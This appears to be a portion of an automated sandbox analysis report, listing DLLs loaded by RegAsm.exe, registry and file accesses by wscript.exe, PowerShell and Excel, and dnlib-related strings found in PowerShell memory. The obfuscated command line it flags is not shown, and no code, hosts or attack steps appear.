Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: shcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Obfuscated command line found

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 0000000E.00000002.473517059.00000000009F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.473399421.0000000000339000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 0000000E.00000002.473517059.00000000009F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.473399421.0000000000339000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000E.00000002.476129104.0000000006300000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.474061036.00000000042A9000.00000004.00000800.00020000.00000000.sdmp
